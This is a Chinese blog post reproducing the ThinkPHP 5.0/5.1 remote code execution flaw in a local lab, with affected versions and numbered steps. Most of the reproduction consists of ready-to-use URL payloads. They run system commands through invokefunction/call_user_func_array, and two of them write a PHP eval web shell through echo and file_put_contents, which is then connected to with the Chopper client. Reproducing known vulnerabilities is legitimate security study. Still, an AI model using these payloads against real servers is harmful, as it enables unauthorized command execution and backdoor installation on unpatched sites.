ThinkPHP 5.x远程命令执行漏洞复现


Posted in PHP onSeptember 23, 2019

一、漏洞描述

2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞:

https://blog.thinkphp.cn/869075 

漏洞的原因是由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由(默认未开启)的情况下可能导致远程代码执行,受影响的版本包括5.0和5.1。

二、漏洞影响版本

Thinkphp 5.x-Thinkphp 5.1.31

Thinkphp 5.0.x<=5.0.23

三、漏洞复现

1、官网下载Thinkphp 5.0.22,下载地址: http://www.thinkphp.cn/donate/download/id/1260.html

2、使用phpstudy搭建环境,解压下载的Thinkphp5.0.22到网站目录下,浏览器访问http://192.168.10.171/thinkphp5.0.22/public

 ThinkPHP 5.x远程命令执行漏洞复现 

3、利用system函数远程命令执行

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

ThinkPHP 5.x远程命令执行漏洞复现

4、通过phpinfo函数查看phpinfo()的信息 

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

ThinkPHP 5.x远程命令执行漏洞复现

5、写入shell

Payload如下:

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[cmd]);?^> >shell.php

注意:需要对特殊字符使用^转义(cmd环境下转义方式),windows环境的echo命令输出字符串到文档不用引号(单引号、双引号),部分字符url编码不编码都行。

ThinkPHP 5.x远程命令执行漏洞复现

6、查看是否成功写入shell

ThinkPHP 5.x远程命令执行漏洞复现

7、菜刀连接

ThinkPHP 5.x远程命令执行漏洞复现

8、第二种的写入shell的方法

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php @eval($_POST[test]);?>

ThinkPHP 5.x远程命令执行漏洞复现

9、查看是否成功写入文件

ThinkPHP 5.x远程命令执行漏洞复现

10、菜刀连接

ThinkPHP 5.x远程命令执行漏洞复现

总结

以上所述是小编给大家介绍的ThinkPHP 5.x远程命令执行漏洞复现,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!
如果你觉得本文对你有帮助,欢迎转载,烦请注明出处,谢谢!

PHP 相关文章推荐
为php4加入动态flash文件的生成的支持
Oct 09 PHP
PHPShop存在多个安全漏洞
Oct 09 PHP
令PHP初学者头疼十四条问题大总结
Nov 12 PHP
新手学习PHP的一些基础知识分享
Jul 27 PHP
如何让thinkphp在模型中自动完成session赋值小教程
Sep 05 PHP
javascript数组与php数组的地址传递及值传递用法实例
Jan 22 PHP
PHP扩展开发教程(总结)
Nov 04 PHP
PHP检测链接是否存在的代码实例分享
May 06 PHP
php使用环形链表解决约瑟夫问题完整示例
Aug 07 PHP
php微信分享到朋友圈、QQ、朋友、微博
Feb 18 PHP
laravel5.2表单验证,并显示错误信息的实例
Sep 29 PHP
PHP常量DIRECTORY_SEPARATOR原理及用法解析
Nov 10 PHP
PHP开启目录引索+fancyindex漂亮目录浏览带搜索功能
Sep 23 #PHP
redis+php实现微博(三)微博列表功能详解
Sep 23 #PHP
redis+php实现微博(二)发布与关注功能详解
Sep 23 #PHP
redis+php实现微博(一)注册与登录功能详解
Sep 23 #PHP
php日志函数error_log用法实例分析
Sep 23 #PHP
php扩展开发入门demo示例
Sep 23 #PHP
PHP使用phpunit进行单元测试示例
Sep 23 #PHP
You might like
使用 PHPMAILER 发送邮件实例应用
2012/11/07 PHP
PHP-Java-Bridge使用笔记
2014/09/22 PHP
smarty内置函数{loteral}、{ldelim}和{rdelim}用法实例
2015/01/22 PHP
php curl模拟post请求和提交多维数组的示例代码
2015/11/19 PHP
input 和 textarea 输入框最大文字限制的jquery插件
2011/10/27 Javascript
你需要知道的10个最佳javascript开发实践小结
2012/04/15 Javascript
使用js对select动态添加和删除OPTION示例代码
2013/08/12 Javascript
Ext JS框架中日期函数的用法及日期选择控件的实现
2016/05/21 Javascript
jQuery插件扩展测试实例
2016/06/21 Javascript
详解JS中的立即执行函数
2017/02/24 Javascript
老生常谈javascript中逻辑运算符&amp;&amp;和||的返回值问题
2017/04/13 Javascript
Bootstrap Tree View简单而优雅的树结构组件实例解析
2017/06/15 Javascript
JS实现textarea通过换行或者回车把多行数字分割成数组并且去掉数组中空的值
2018/10/29 Javascript
JavaScript函数的4种调用方法实例分析
2019/03/05 Javascript
微信小程序实现分享商品海报功能
2019/09/30 Javascript
使用vue-router切换页面时实现设置过渡动画
2019/10/31 Javascript
js中的面向对象之对象常见创建方法详解
2019/12/16 Javascript
python连接池实现示例程序
2013/11/26 Python
Python简单计算文件夹大小的方法
2015/07/14 Python
Appium+python自动化怎么查看程序所占端口号和IP
2019/06/14 Python
Python Pandas 箱线图的实现
2019/07/23 Python
Python编程快速上手——Excel到CSV的转换程序案例分析
2020/02/28 Python
使用Python开发个京东上抢口罩的小实例(仅作技术研究学习使用)
2020/03/10 Python
size?法国官网:英国伦敦的球鞋精品店
2020/03/15 全球购物
捷科时代的软件测试笔试题
2015/11/09 面试题
上班玩游戏检讨书
2014/02/07 职场文书
《再别康桥》教学反思
2014/02/12 职场文书
博士生导师推荐信
2014/07/08 职场文书
学生检讨书怎么写?
2014/10/10 职场文书
2014年保洁员工作总结
2014/11/19 职场文书
2015年教学工作总结
2015/04/02 职场文书
2016继续教育培训学习心得体会
2016/01/19 职场文书
2019自荐信范文集锦!
2019/07/03 职场文书
详细总结Python常见的安全问题
2021/05/21 Python
django 认证类配置实现
2021/11/11 Python
一篇文章告诉你如何实现Vue前端分页和后端分页
2022/02/18 Vue.js